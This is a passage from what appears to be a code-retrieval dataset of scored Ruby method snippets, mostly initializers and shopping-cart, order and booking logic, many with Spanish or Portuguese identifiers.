OrderItem.create(order_id: @order.id, item_id: item.id, quantity: qte)\n end\n # vider le cart\n CartItem.where(cart_id: @cart_id).destroy_all\n\n redirect_to order_path(@order)\n end", "title": "" }, { "docid": "31b1372b8db38b04f0509d97b9d0c225", "score": "0.5566329", "text": "def initialize(sku, brand, cost, price, qty = 0)\n\t\t@sku = sku \n\t\t@brand = brand \n\t\t@cost = cost \n\t\t@price = price \n\t\t@quantity = qty \n\tend", "title": "" }, { "docid": "4a1cf8af00ba7d3640cdaa621ba9d020", "score": "0.55632234", "text": "def initialize\n @tablero = Array.new(3){Array.new(3, \" \")}\n dibuja_tablero(@tablero)\n end", "title": "" }, { "docid": "cf83d19464967b7009b89f3402113d9a", "score": "0.55594385", "text": "def initialize(numero, titular, saldo)\n # e terá os seguintes atributos (alguns dinâmicos, outros pré-definidos)\n @numero = numero\n @titular = titular\n @saldo = saldo\n # @tipo = \"corrente\" #digo q toda conta é corrente\n end", "title": "" }, { "docid": "fc86231922285dd884e0f4b416f5082f", "score": "0.5556441", "text": "def initialize(stap=5,aantal=34)\n @stap = stap\n @monte_carlos = []\n aantal.times do |x|\n van = x*stap\n tot = (x+1)*stap-1\n @monte_carlos[tot] = MonteCarlo.from_db(van,tot)\n end\n end", "title": "" }, { "docid": "fc86231922285dd884e0f4b416f5082f", "score": "0.5556441", "text": "def initialize(stap=5,aantal=34)\n @stap = stap\n @monte_carlos = []\n aantal.times do |x|\n van = x*stap\n tot = (x+1)*stap-1\n @monte_carlos[tot] = MonteCarlo.from_db(van,tot)\n end\n end", "title": "" }, { "docid": "21a53ee72577897c3c24067ceb390512", "score": "0.55516773", "text": "def _make_price_matrix\n products = ['canvas', 'split canvas', 'framed print']\n \n table_size = 17\n\n pricing_obj = {}\n base_price = 9.9\n products.each do |product|\n pricing_obj[product] = {}\n h = 8\n w = 8\n base_price += 10\n bump_price = 0\n table_size.times.each do |x|\n table_size.times.each do |y|\n size = \"#{h}\\\\\\\"x#{w}\\\\\\\"\"\n price = base_price + bump_price\n bump_price += 1\n pricing_obj[product][size] = price\n w += 2\n end\n h += 2\n w = 8\n end\n end\n \n # write to yml\n File.open(Rails.root.join('business','pricing.yml'),\"w\") do |file|\n file.write pricing_obj.to_yaml\n end \n end", "title": "" }, { "docid": "1c2d8d8cd2c3e3cc86f0ba22fe7906ef", "score": "0.55423254", "text": "def initialize(nombre, listaAlimentos, listaGramos)\r\n super(nombre, listaAlimentos, listaGramos)\r\n @co2 = valorTotalCO2\r\n @terreno = terrenoTotal\r\n\r\n end", "title": "" }, { "docid": "7bf0f9fcc0ec465e18d0221e371815aa", "score": "0.55401397", "text": "def initialize\n @items=[]\n # Start storage with a Potion\n if hasConst?(PBItems,:POTION)\n ItemStorageHelper.pbStoreItem(\n @items,MAXSIZE,MAXPERSLOT,getConst(PBItems,:POTION),1)\n end\n end", "title": "" }, { "docid": "a95d87f1b2565ab1d026d947eec5b54b", "score": "0.55368423", "text": "def initialize\n\t\t#@livros = [] #declara um array vazio \n @livros = {} #Inicializa com um hash\n\tend", "title": "" }, { "docid": "e126e08684a3d74b78ef5c99591d6b8b", "score": "0.55345386", "text": "def initialize_vars\n \n instantiate_shopping_classes\n \n @auth_shopping_cart_params = permitted_params.fetch(:cart,{})\n \n @auth_shopping_cart = params[:id] ? @auth_shopping_cart_class.find_self(params[:id],current_signed_in_resource) : @auth_shopping_cart_class.new(@auth_shopping_cart_params)\n \n end", "title": "" }, { "docid": "ea730b2a041ab55dcbfc2404defc60af", "score": "0.55313605", "text": "def build_vouchers_cart\n @cart_vouchers = []\n @total_price = 0\n @cart_contains_vouchers = false\n @total_quantity = 0\n \n @order ||= OrderDrop.new(Order.new)\n \n if WSession.options.include? \"cart_contains_vouchers\"\n ((rand 7)+1).times do\n v = Voucher.new(Database.find(:random, :vouchers))\n @total_quantity += v.quantity\n @total_price += v.price * v.quantity\n @cart_vouchers << VoucherDrop.new(v)\n end\n @cart_contains_vouchers = true\n @individual_cart_vouchers = [@cart_vouchers]\n end\n \n \n @currency = \"&euro;\"\n @clear_cart_onclick = VoucherDrop.clear_cart_onclick \n end", "title": "" }, { "docid": "f9ca21f0b3dcf0628d71336311c9f07f", "score": "0.55295616", "text": "def init_treasure_card_deck()\n @unused_treasures = Array.new\n @used_treasures = Array.new \n \n @unused_treasures << Treasure.new(\"Si mi amo!\", 0, 4, 7, TreasureKind::HELMET)\n @unused_treasures << Treasure.new(\"Botas de investigación\", 600, 3, 4, TreasureKind::SHOE)\n @unused_treasures << Treasure.new(\"Capucha de Cthulhu\", 500, 3, 5, TreasureKind::HELMET)\n @unused_treasures << Treasure.new(\"A prueba de babas\", 400, 2, 5, TreasureKind::ARMOR)\n @unused_treasures << Treasure.new(\"Botas de lluvia ácida\", 800, 1, 1, TreasureKind::BOTHHAND)\n @unused_treasures << Treasure.new(\"Casco minero\", 400, 2, 4, TreasureKind::HELMET)\n @unused_treasures << Treasure.new(\"Ametralladora Thompson\", 600, 4, 8, TreasureKind::BOTHHAND)\n @unused_treasures << Treasure.new(\"Camiseta de la UGR\", 100, 1, 7, TreasureKind::ARMOR)\n @unused_treasures << Treasure.new(\"Clavo de rail ferroviario\", 400, 3, 6, TreasureKind::ONEHAND)\n @unused_treasures << Treasure.new(\"Cuchillo de sushi arcano\", 300, 2, 3, TreasureKind::ONEHAND)\n @unused_treasures << Treasure.new(\"Fez alópodo\", 700, 3, 5, TreasureKind::HELMET)\n @unused_treasures << Treasure.new(\"Hacha prehistórica\", 500, 2, 5, TreasureKind::ONEHAND)\n @unused_treasures << Treasure.new(\"El aparato del Pr. Tesla\", 900, 4, 8, TreasureKind::ARMOR)\n @unused_treasures << Treasure.new(\"Gaita\", 500, 4, 5, TreasureKind::BOTHHAND)\n @unused_treasures << Treasure.new(\"Insecticida\", 300, 2, 3, TreasureKind::ONEHAND)\n @unused_treasures << Treasure.new(\"Escopeta de 3 cañones\", 700, 4, 6, TreasureKind::BOTHHAND)\n @unused_treasures << Treasure.new(\"Garabato Mistico\", 300, 2, 2, TreasureKind::ONEHAND)\n @unused_treasures << Treasure.new(\"La fuerza de Mr. T\", 1000, 0, 0, TreasureKind::NECKLACE)\n @unused_treasures << Treasure.new(\"La rebeca metálica\", 400, 2, 3, TreasureKind::ARMOR)\n @unused_treasures << Treasure.new(\"Mazo de los antiguos\", 200, 3, 4, TreasureKind::ONEHAND)\n @unused_treasures << Treasure.new(\"Necro-playboycon\", 300, 3, 5, TreasureKind::ONEHAND)\n @unused_treasures << Treasure.new(\"Lanzallamas\", 800, 4, 8, TreasureKind::BOTHHAND)\n @unused_treasures << Treasure.new(\"Necro-comicón\", 100, 1, 1, TreasureKind::ONEHAND)\n @unused_treasures << Treasure.new(\"Necronomicón\", 800, 5, 7, TreasureKind::BOTHHAND)\n @unused_treasures << Treasure.new(\"Linterna a 2 manos\", 400, 3, 6, TreasureKind::BOTHHAND)\n @unused_treasures << Treasure.new(\"Necro-gnomicón\", 200, 2, 4, TreasureKind::ONEHAND)\n @unused_treasures << Treasure.new(\"Necrotelecom\", 300, 2, 3, TreasureKind::HELMET)\n @unused_treasures << Treasure.new(\"Porra preternatural\", 200, 2, 3, TreasureKind::ONEHAND)\n @unused_treasures << Treasure.new(\"Tentácula de pega\", 200, 0, 1, TreasureKind::HELMET)\n @unused_treasures << Treasure.new(\"Zapato deja-amigos\", 500, 0, 1, TreasureKind::SHOE)\n @unused_treasures << Treasure.new(\"Shogulador\", 600, 1, 1, TreasureKind::BOTHHAND)\n @unused_treasures << Treasure.new(\"Varita de atizamiento\", 400, 3, 4, TreasureKind::ONEHAND)\n\n end", "title": "" }, { "docid": "154bb0d902e84c46c55794c31d13ad53", "score": "0.5528634", "text": "def init(serial, siten)\n return unless Month.valid?(serial)\n\n month = serial\n siten_id = siten.id\n\n uriage = 0\n siire = 0\n sitenkan = 0\n kisyu = 0\n kimatu = 0\n\n kyuryo = 0\n syoho = 0\n taisyoku = 0\n hotei = 0\n haken = 0\n hukuri = 0\n kokoku = 0\n sozei = 0\n tinsyaku = 0\n tesu = 0\n yatin = 0\n syokyaku = 0\n nenryo = 0\n tusin = 0\n konetu = 0\n ryohi = 0\n kaigi = 0\n untin = 0\n syuzen = 0\n hoken = 0\n kurasiki = 0\n hosyu = 0\n syomo = 0\n zimu = 0\n zappi = 0\n sonota = 0\n buturyu = 0\n henkan = 0\n\n zatusyunyu = 0\n\n zatusyunyuzeinuki = 0\n uketoririsoku = 0\n siharairisoku = 0\n zatusonsitu = 0\n syohizeimodori = 0\n end", "title": "" }, { "docid": "53fce1cc5aa335d2b04809e307791df7", "score": "0.5527829", "text": "def test()\n\tbanana = Item.new(\"Banana\",10,\"fruit\")\n\torangeJuice = Item.new(\"Orange Juice\", 10, \"juice\")\n\trice = Item.new(\"Rice\", 1, \"food\")\n\tvacuumCleaner = Item.new(\"Vacuum Cleaner\", 150, \"houseware\")\n\tanchovies = Item.new(\"Anchovies\", 2, \"food\")\n\n\tcart = ShoppingCart.new([banana, orangeJuice, rice, vacuumCleaner,anchovies], true, \"saturday\")\n\n\treturn cart\nend", "title": "" }, { "docid": "4d1d100dc064471148662cf6560588df", "score": "0.55223584", "text": "def initialize\n @total_money = 0\n @sale_amount = 0\n @stocks = {}\n @stocks.default = 0\n @drinks = {}\n\n store(Drink.cola, 5)\n store(Drink.water, 5)\n store(Drink.redbull, 5)\n end", "title": "" }, { "docid": "ccaff92984b85a4e944919d59e8da759", "score": "0.55089337", "text": "def initialize\t\n @tablero = [[0,0,0],[0,0,0],[0,0,0]] \n\t @jugador_actual = JUGADOR_X \n\tend", "title": "" }, { "docid": "e9edfba7b615676840f0a03739be2dc3", "score": "0.55001956", "text": "def initialize\n \t @cabecera = nil\n @cola= nil\n @size = 0\n end", "title": "" }, { "docid": "19c97fc53d26d295738644e8eee1504e", "score": "0.5499214", "text": "def initialize(nome = 'item', valor = 0, pesos_em_compartimentos = Array.new)\n @nome = nome\n @valor = valor\n @pesos_em_compartimentos = pesos_em_compartimentos\n end", "title": "" }, { "docid": "4d76fe0f1858f663230cb876ce44fb79", "score": "0.5491518", "text": "def create\n # cart = current_user.cart\n # total = cart.calculate_total\n # order = Order.create({:user_id => current_user.id })\n # cart.product_adapters.map{|item| item.purchasable = order; item.item_price = item.product.price; item.save; order.store << item.product.store}\n # order.total = total\n # order.save\n end", "title": "" }, { "docid": "bc5a68e6000ec33cf5abdf883df0c0eb", "score": "0.5490731", "text": "def initialize(propiedades) # Inicio el metodo\n @nombre = propiedades[:nombre]\n @raza = propiedades[:raza]\n @color = propiedades[:color]\n end", "title": "" }, { "docid": "3700d75742fdc7433653ec736916cdda", "score": "0.5488584", "text": "def initialize(catalogue, promotional_rules)\n\t\t@catalogue = catalogue\n\t\t@basket = []\n\t\t@promotional_rules = promotional_rules\n\tend", "title": "" }, { "docid": "a0830d18a17a3ea53fa2af0201db1f10", "score": "0.54754686", "text": "def initialize\n #armo el indice\n indice_actual = []\n #0=Nave, 1=Misil, 2=Bomba, 3=Asteroide, 4=Estrella\n indice_actual << Nave\n indice_actual << Misil\n indice_actual << Bomba\n indice_actual << Asteroide\n indice_actual << Estrella\n @indice = indice_actual\n \n #armo la fila de los tipos de choque. Para saber a quien pertenece una columna, mirar el indice\n choques_de_nave = cargo_los_efectos_a_la_fila_de_la_nave\n choques_de_misil = cargo_los_efectos_a_la_fila_del_misil\n choques_de_bomba = cargo_los_efectos_a_la_fila_de_la_bomba\n choques_de_asteroide = cargo_los_efectos_a_la_fila_del_asteroide\n choques_de_estrella = cargo_los_efectos_a_la_fila_de_la_estrella\n \n #cargo los efectos del choque en sus respectivas filas y columnas\n cuadro_de_choques_inicial = []\n cuadro_de_choques_inicial << choques_de_nave\n cuadro_de_choques_inicial << choques_de_misil\n cuadro_de_choques_inicial << choques_de_bomba\n cuadro_de_choques_inicial << choques_de_asteroide\n cuadro_de_choques_inicial << choques_de_estrella\n\n @cuadro_de_choques = cuadro_de_choques_inicial\n end", "title": "" }, { "docid": "ef19661e35ffbb78c6a66ddfc83246e2", "score": "0.54738396", "text": "def initialize(discount = 0)\n @total = 0\n @discount = discount\n @items_array = []\n @price_array = []\n\n end", "title": "" }, { "docid": "f92ce309c1294017b0cd0193a0d0ca2f", "score": "0.5466468", "text": "def initialise\n # 20 YC=2:CC=2\n # 30 ACES=0\n # 40 CACES=0\n # 50 S=0\n # 60 T=0\n aces = computer_aces = player = computer = 0\n # 70 DIM SUIT$(4)\n # 80 SUIT$(1)=\"CLUBS\"\n # 90 SUIT$(2)=\"HEARTS\"\n # 100 SUIT$(3)=\"SPADES\"\n # 110 SUIT$(4)=\"DIAMONDS\"\n suits = ['Clubs', 'Hearts', 'Spades', 'Diamonds']\n # 120 CLS\n system 'clear' or system 'cls'\n # 130 DIM PACK(52)\n # 140 FOR X=1 TO 52\n # 150 PACK (X)=0\n # 160 NEXT X\n pack = Array.new(53, 0)\n first_deal(pack, suits, player, aces, computer, computer_aces)\nend", "title": "" }, { "docid": "90669dd7cea6a66aae4f5155d95eccae", "score": "0.5466302", "text": "def initialize(campos = {})\n padrao = {\n data_emissao: Date.current,\n valor_liquidacao: 0.0,\n valor_mora: 0.0,\n valor_desconto: 0.0,\n valor_segundo_desconto: 0.0,\n valor_iof: 0.0,\n valor_abatimento: 0.0,\n valor_aquisicao: 0.0,\n nome_avalista: '',\n cod_desconto: '0',\n especie_titulo: '01',\n identificacao_ocorrencia: '01',\n codigo_multa: '0',\n percentual_multa: 0.0,\n parcela: '01',\n\n # CNAB 444\n caracteristica_especial: \"35\", # operações cedidas nos termos da resolução 3.533/08.\n modalidade_operacao: \"0301\", # esta dentro de \"Direitos creditórios descontados\",todas as remessas tem a mesma operação \"Direitos creditórios descontados\"?\n natureza_operacao: \"02\", # Operações adquiridas em negociação com pessoa integrante do SFN sem retenção substancial de risco e de benefícios ou de controle pelo interveniente ou cedente\n origem_recurso: \"0199\", # outros\n classe_risco_operacao: \"AA\", # Classificação de risco AA\n }\n\n campos = padrao.merge!(campos)\n campos.each do |campo, valor|\n send \"#{campo}=\", valor\n end\n\n yield self if block_given?\n end", "title": "" }, { "docid": "46e16185b15bc1fa5a4dd6dd52dd5b4e", "score": "0.54654735", "text": "def initialize(nombre,proteinas,carbohidratos,lipidos,gei,terreno)\n @nombre=nombre\n @proteinas=proteinas\n @carbohidratos=carbohidratos\n @lipidos=lipidos\n @gei=gei\n @terreno=terreno\n end", "title": "" }, { "docid": "27e374e6f58dd4dcbfd6076268745eda", "score": "0.5463353", "text": "def initialize (nombrePlato, listaComida, listaCantidades)\n @nombrePlato, @listaComida, @listaCantidades = nombrePlato, listaComida, listaCantidades\n end", "title": "" }, { "docid": "51ba671bc09476526e77d19d5c0b5f2e", "score": "0.5446223", "text": "def initialize(sexo, alimentos) #alimentos es una lista de objetos Alimento\n\t\t@alimentos = alimentos\n\t\tif sexo == \"hombre\"\n\t\t\tvalue = 54\n\t\telse\n\t\t\tvalue = 41\n\t\tend\n\t\t# [kgco2eq, m2anio]\n\t\t@impactoambiental = [0,0]\n\n\t\taliaux = Alimento.new(\"\", [0,0,0,0,0])\n\t\t@cantidad = []\n\t\tcuenta = 0\n\t\tnodo = alimentos.head\n\t\twhile nodo != nil\n\t\t\talimento = nodo.value\n\t\t\taliaux = aliaux + alimento\n\t\t\ta = @impactoambiental[0] + alimento.kgco2eq\n\t\t\tb = @impactoambiental[1] + alimento.m2anio\n\t\t\t@impactoambiental = [ a , b ]\n\t\t\tcuenta = cuenta + alimento.proteinas\n\t\t\tnodo = nodo.next\n\t\t\tcantidad << 1\n\t\tend\n\t\tif (cuenta < value) #si necesitamos repetir un alimento para llegar al minimo de proteinas\n\t\t\ti = 2\n\t\t\twhile cuenta < value\n\t\t\t\tj = 0\n\t\t\t\tnodo = alimentos.head\n\t\t\t\twhile (nodo != nil) && (cuenta < value)\n\t\t\t\t\talimento = nodo.value\n\t\t\t\t\ta = @impactoambiental[0] + alimento.kgco2eq\n\t\t\t\t\tb = @impactoambiental[1] + alimento.m2anio\n\t\t\t\t\taliaux = aliaux + alimento\n\t\t\t\t\t@impactoambiental = [ a , b ]\n\t\t\t\t\tcuenta = cuenta + alimento.proteinas\n\t\t\t\t\tnodo = nodo.next\n\t\t\t\t\tcantidad[j] = i\n\t\t\t\t\tj = j + 1\n\t\t\t\tend\n\t\t\t\ti = i + 1\n\t\t\tend #hago que pille solo 1 unidad de cada uno falta hacer el + de alimento\n\t\t\t#desde la dieta se deberia poder sacar cualquier cosa de cada alimento\n\t\tend\n\t\t@proteinas = aliaux.proteinas.round(4)\n\t\t@carbohidratos = aliaux.carbohidratos.round(4)\n\t\t@lipidos = aliaux.lipidos.round(4)\n\t\t@impactoambiental = [ @impactoambiental[0].round(4), @impactoambiental[1].round(4) ]\n \tend", "title": "" }, { "docid": "8232353913f228bf9fae0fb897c4faa5", "score": "0.5443044", "text": "def initialize(nombre, genero, alimentos)\n @nombre = nombre\n @genero = genero\n if alimentos.instance_of? Array\n @alimentos = alimentos\n end\n @alimentoTotal = Alimentos.new({ :nombre => nombre, :prot => 0.0, :carbs => 0.0, :lip => 0.0, :emisiones => 0.0, :terreno => 0.0})\n end", "title": "" }, { "docid": "bff4805e12c7cdb456e04f582bb4061a", "score": "0.5442789", "text": "def create_bill_items!\n return @bill_items if @bill_items\n @bill_items = {}\n @cart_items.each do |product, cart_item|\n @pricing_rules.bill_items(cart_item, @month).each do |bill_item|\n if @bill_items.has_key?(bill_item.product)\n @bill_items[bill_item.product].quantity += bill_item.quantity\n @bill_items[bill_item.product].price += bill_item.price\n else\n @bill_items[bill_item.product] = bill_item.clone\n end\n end\n end\n end", "title": "" }, { "docid": "34911f0079129da90077e03c05e0b196", "score": "0.54400444", "text": "def new\n @order = Order.new\n @cart_content=current_cart.line_items\n # @beers=@cart_content.select{|li|\n # li.item.name==\"Beer\"}.map{|li|\n # {:beer=>li.item.specify,:quantity => li.quantity}\n # }.to_a.each_slice(2)\n # @sandwiches=@cart_content.select{|li|\n # li.item.name==\"Sandwich\"}.map{|li|\n # {:sandwich=>li.item.specify,:quantity => li.quantity}\n # }.to_a.each_slice(2)\n # @bruschette=@cart_content.select{|li|\n # li.item.name==\"Bruschetta\"}.map{|li|\n # {:bruschetta => li.item.specify, :quantity => li.quantity}\n # }.to_a.each_slice(2)\n # @panini=@cart_content.select{|li|\n # li.item.name==\"Panino\"}.map{|li|\n # {:bruschetta => li.item.specify, :quantity => li.quantity}\n # }.to_a.each_slice(2)\n @items=@cart_content.map{|li|\n {:type => li.item.name, :name => li.item.specify, :quantity => li.quantity}\n }.to_a.each_slice(2)\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end", "title": "" }, { "docid": "62bd7b81cbc55e7f755dfc811b099c72", "score": "0.5439767", "text": "def init_order\n new_order\n init_market_order if type == 'market'\n init_limit_order if type == 'limit'\n init_stop_order if type == 'stop'\n @order.assign_defaults # Need for the preview when it's not saved\n end", "title": "" }, { "docid": "4a0b437107beca0927b40ae357cc3497", "score": "0.54365295", "text": "def initialize\n @shelf_list = Array.new\n @candy_list = Array.new\n end", "title": "" }, { "docid": "5d1877ef76b13da1d896be56d61be83a", "score": "0.5434229", "text": "def set_product_containers\n # Add to Cart buttons in product listing\n @shopping_cart = ShoppingCart.new\n \n # Add to Watchlist buttons\n @watchlist = Watchlist.new\n end", "title": "" }, { "docid": "4654a06cf32de82190cff58f44f4bd8a", "score": "0.5431876", "text": "def tiros\n @casillas = {\n \"1\" => @uno,\n \"2\" => @dos,\n \"3\" => @tres,\n \"4\" => @cuatro,\n \"5\" => @cinco,\n \"6\" => @seis,\n \"7\" => @siete,\n \"8\" => @ocho,\n \"9\" => @nueve\n }\n end", "title": "" }, { "docid": "7cb3a234143a0fed5a389cbbf3658b10", "score": "0.5431405", "text": "def init_centrs nc: ncentrs, base: nil, proport: nil\n @centrs = nc.times.map { new_centr base, proport }.to_na\n end", "title": "" }, { "docid": "297193d09fbc9396be8565e3245de9be", "score": "0.542963", "text": "def test_cart\n cart = ChitoUtils.cart_pull(1)\n assert(cart == \"El carro está vacío 🛒\")\n ChitoUtils.cart_push(\"hola mundo\", 1)\n cart = ChitoUtils.cart_pull(1)\n assert(cart == \"Contenido del carrito:\\n🛒 hola mundo\")\n end", "title": "" }, { "docid": "5e7a024c0bfc12a05220e9dd75c23bdd", "score": "0.54280794", "text": "def initialize(numCiclos, cebada, arrozMaiz, levadura, lupulo)\n @numCiclos = numCiclos\n @cebada = cebada\n @arrozMaiz = arrozMaiz\n @levadura = levadura\n @lupulo = lupulo\n end", "title": "" }, { "docid": "3c81f614278d25aef81cf342390d2446", "score": "0.5420286", "text": "def initialize (a,b,c,d,e,f)\n @nombre,@proteinas,@carbohidratos,@lipidos,@gases,@terreno = a,b,c,d,e,f\n end", "title": "" }, { "docid": "b6e4b4329ddb39438d7a591714e1f540", "score": "0.54191536", "text": "def initialize(gramos, nombre, proteinas, carbohidratos, lipidos, gei, terreno)\n @nombre, @proteinas, @carbohidratos, @lipidos, @gei = nombre, proteinas, carbohidratos, lipidos, gei\n @terreno = terreno\n @gramos = gramos\n end", "title": "" }, { "docid": "7b1baf5d20d2d1ca74275f49e11035ee", "score": "0.54190457", "text": "def initialize(buy=1,get=1,sku)\n @buy,@get,@sku= buy,get,sku\n end", "title": "" }, { "docid": "8c2f3efd70a98e5a176527bea9248675", "score": "0.5417467", "text": "def initialize (quantity, name, price) #Need to set up and initialize the variables to store info\n @quantity = quantity #Don't name a method after a variable\n @name = name #Anything that needs the object needs are set up here\n @price = price #* 100 #Without the @ it can only be accessed in the method (scope), do this turn to integer when you are going to work with money. Then turn it back when you show the user.\n # @@completetaxamount = 0\n # @@completeprice = 0\n end", "title": "" }, { "docid": "3f42ac2d7891da57aed60771af1d7db8", "score": "0.54168457", "text": "def coordenadaBarcos\n\t\t\t@posicionNumero = rand(1..4)\n\t\t\t@posicionLetra = rand(5..8)\n\t\t\t\n\t\t\t\tcase @posicionLetra\n\t\t\t\t\twhen 5\n\t\t\t\t\t\t@posicionLetra = \"a\"\n\t\t\t\t\twhen 6\n\t\t\t\t\t\t@posicionLetra = \"b\"\n\t\t\t\t\twhen 7\n\t\t\t\t\t\t@posicionLetra = \"c\"\n\t\t\t\t\twhen 8\n\t\t\t\t\t\t@posicionLetra = \"d\"\t\n\t\t\t\t\tend\n\n\t\t\t@barco = \"#{@posicionLetra}#{@posicionNumero}\"\n\t\tend", "title": "" }, { "docid": "a01a975c1354012d2b38fae7dcdadcc2", "score": "0.5416281", "text": "def init_cart \n # Check if the cart ID is defined and that it exists in the database\n create_new_order = false\n if session[:cart_id]\n @order = Caboose::Order.where(:id => session[:cart_id]).first\n create_new_order = true if @order.nil? || @order.status != 'cart' \n else \n create_new_order = true \n end\n\n if create_new_order # Create an order to associate with the session \n @order = Caboose::Order.new \n @order.site_id = @site ? @site.id : nil\n @order.status = Caboose::Order::STATUS_CART\n @order.financial_status = Caboose::Order::STATUS_PENDING\n @order.date_created = DateTime.now\n @order.referring_site = request.env['HTTP_REFERER']\n @order.landing_page = request.fullpath\n @order.landing_page_ref = params[:ref] || nil\n @order.save\n # Save the cart ID in the session\n session[:cart_id] = @order.id\n end \n end", "title": "" }, { "docid": "257c9439a8ad33a76980d0d4909ab60a", "score": "0.5413358", "text": "def initialize_basic_card_qty\n self.collection_card_instances.each do |card|\n card.increment!(:quantity)\n end\n end", "title": "" }, { "docid": "257ac3e850c5fab4f9796d2b46f66dcc", "score": "0.5412874", "text": "def initialize\n @item_list = []\n @total = 0\n @total_tax = 0\n end", "title": "" }, { "docid": "4da6015d76b1336f3b893946011608cd", "score": "0.5412181", "text": "def cart_items\n cart_items = []\n cart.each do |id, quantity|\n cart_items << { product: Product.find(id),\n quantity: quantity }\n end\n cart_items\n end", "title": "" }, { "docid": "a194b954c91c433819a3ac1b967cdd3d", "score": "0.54077226", "text": "def pesca_carta\r\n @log.info \"pesca_carta\"\r\n carte_player = []\r\n if @mazzo_gioco.size > 0\r\n # ci sono ancora carte da pescare dal mazzo \r\n @round_players.each do |player|\r\n # pesca una sola carta\r\n if @mazzo_gioco.size > 0\r\n carte_player << @mazzo_gioco.pop\r\n else\r\n @log.error \"Pesca la briscola che non c'č pių\"\r\n end \r\n #p carte_player\r\n player.algorithm.onalg_pesca_carta(carte_player)\r\n # store cards to each player for check\r\n carte_player.each{|c| @carte_in_mano[player.name] << c}\r\n carte_player = [] # reset array for the next player\r\n end\r\n else\r\n @log.error \"Pesca in un mazzo vuoto\"\r\n end\r\n @log.info \"Mazzo rimanenti: #{@mazzo_gioco.size}\"\r\n submit_next_event(:new_mano)\r\n end", "title": "" }, { "docid": "b64631e2378479e0b39b015829199ea1", "score": "0.540675", "text": "def build_shopping_cart(shopping_cart, locale)\n\n sc = { # Basic data\n free_access_id: shopping_cart.free_access_id,\n date_from: shopping_cart.date_from.strftime('%Y-%m-%d'),\n time_from: shopping_cart.time_from,\n date_to: shopping_cart.date_to.strftime('%Y-%m-%d'),\n time_to: shopping_cart.time_to,\n days: shopping_cart.days,\n customer_name: shopping_cart.customer_name,\n customer_surname: shopping_cart.customer_surname,\n customer_email: shopping_cart.customer_email,\n customer_phone: shopping_cart.customer_phone,\n customer_mobile_phone: shopping_cart.customer_mobile_phone,\n customer_document_id: shopping_cart.customer_document_id,\n customer_language: shopping_cart.customer_language,\n item_cost: shopping_cart.item_cost,\n extras_cost: shopping_cart.extras_cost,\n time_from_cost: shopping_cart.time_from_cost,\n time_to_cost: shopping_cart.time_to_cost,\n product_deposit_cost: shopping_cart.product_deposit_cost,\n total_deposit: shopping_cart.total_deposit,\n total_cost: shopping_cart.total_cost,\n booking_amount: shopping_cart.booking_amount,\n pickup_place_cost: shopping_cart.pickup_place_cost,\n return_place_cost: shopping_cart.return_place_cost,\n promotion_code: shopping_cart.promotion_code,\n comments: shopping_cart.comments,\n destination_accommodation: shopping_cart.destination_accommodation,\n rental_location_code: shopping_cart.rental_location_code,\n }\n sc.merge!({\n date_from_short_format: SystemConfiguration::Settings.instance.format_date(shopping_cart.date_from, :short, locale),\n date_from_default_format: SystemConfiguration::Settings.instance.format_date(shopping_cart.date_from, :default, locale),\n date_from_extended_format: SystemConfiguration::Settings.instance.format_date(shopping_cart.date_from, :extended, locale),\n date_from_full_format: SystemConfiguration::Settings.instance.format_date(shopping_cart.date_from, :full, locale).split(' ').map!{|item| item.capitalize}.join(' '),\n date_to_short_format: SystemConfiguration::Settings.instance.format_date(shopping_cart.date_to, :short, locale),\n date_to_default_format: SystemConfiguration::Settings.instance.format_date(shopping_cart.date_to, :default, locale),\n date_to_extended_format: SystemConfiguration::Settings.instance.format_date(shopping_cart.date_to, :extended, locale),\n date_to_full_format: SystemConfiguration::Settings.instance.format_date(shopping_cart.date_to, :full, locale).split(' ').map!{|item| item.capitalize}.join(' ')\n })\n\n sc.merge!({ # Pickup / Return place\n pickup_place: shopping_cart.pickup_place,\n pickup_place_customer_translation: shopping_cart.pickup_place_customer_translation,\n custom_pickup_place: shopping_cart.custom_pickup_place,\n return_place: shopping_cart.return_place,\n return_place_customer_translation: shopping_cart.return_place_customer_translation,\n custom_return_place: shopping_cart.custom_return_place\n })\n\n sc.merge!({ # Driver information\n driver_age: shopping_cart.driver_age,\n driver_driving_license_years: shopping_cart.driver_driving_license_years,\n driver_under_age: shopping_cart.driver_under_age,\n driver_age_allowed: shopping_cart.driver_age_allowed,\n driver_age_cost: shopping_cart.driver_age_cost,\n driver_age_deposit: shopping_cart.driver_age_deposit,\n driver_age_rule_id: shopping_cart.driver_age_rule_id,\n driver_age_rule_description: shopping_cart.driver_age_rule_description,\n driver_age_rule_description_customer_translation: shopping_cart.driver_age_rule_description_customer_translation\n })\n sc.merge!({ #Category supplements\n category_supplement_1_cost: shopping_cart.category_supplement_1_cost,\n category_supplement_2_cost: shopping_cart.category_supplement_2_cost,\n category_supplement_3_cost: shopping_cart.category_supplement_3_cost,\n #Supplements\n supplement_1_cost: shopping_cart.supplement_1_cost,\n supplement_2_cost: shopping_cart.supplement_2_cost,\n supplement_3_cost: shopping_cart.supplement_3_cost,\n })\n\n # Items\n sc_items = []\n shopping_cart.items.each do |item|\n sc_item = {\n id: item.id,\n item_id: item.item_id,\n item_description: item.item_description,\n item_description_customer_translation: item.item_description_customer_translation,\n item_unit_cost_base: item.item_unit_cost_base,\n item_unit_cost: item.item_unit_cost,\n item_cost: item.item_cost,\n quantity: item.quantity,\n product_deposit_unit_cost: item.product_deposit_unit_cost,\n product_deposit_cost: item.product_deposit_cost\n }\n resources = []\n item.item_resources.each do |item_resource|\n resource = {\n id: item_resource.id,\n }\n resource.merge!({\n pax: item_resource.pax,\n resource_user_name: item_resource.resource_user_name,\n resource_user_surname: item_resource.resource_user_surname,\n resource_user_document_id: item_resource.resource_user_document_id,\n resource_user_phone: item_resource.resource_user_phone,\n resource_user_email: item_resource.resource_user_email,\n resource_user_2_name: item_resource.resource_user_2_name,\n resource_user_2_surname: item_resource.resource_user_2_surname,\n resource_user_2_document_id: item_resource.resource_user_2_document_id,\n resource_user_2_phone: item_resource.resource_user_2_phone,\n resource_user_2_email: item_resource.resource_user_2_email\n })\n resources << resource\n end\n sc_item.store(:item_resources, resources)\n sc_items << sc_item\n end\n\n sc.merge!(\n items: sc_items\n )\n\n # Extras\n sc_extras = []\n shopping_cart.extras.each do |extra|\n extra = {\n id: extra.id,\n extra_id: extra.extra_id,\n extra_description: extra.extra_description,\n extra_description_customer_translation: extra.extra_description_customer_translation,\n extra_unit_cost: extra.extra_unit_cost,\n extra_cost: extra.extra_cost,\n quantity: extra.quantity\n }\n sc_extras << extra\n end\n sc.merge!(\n extras: 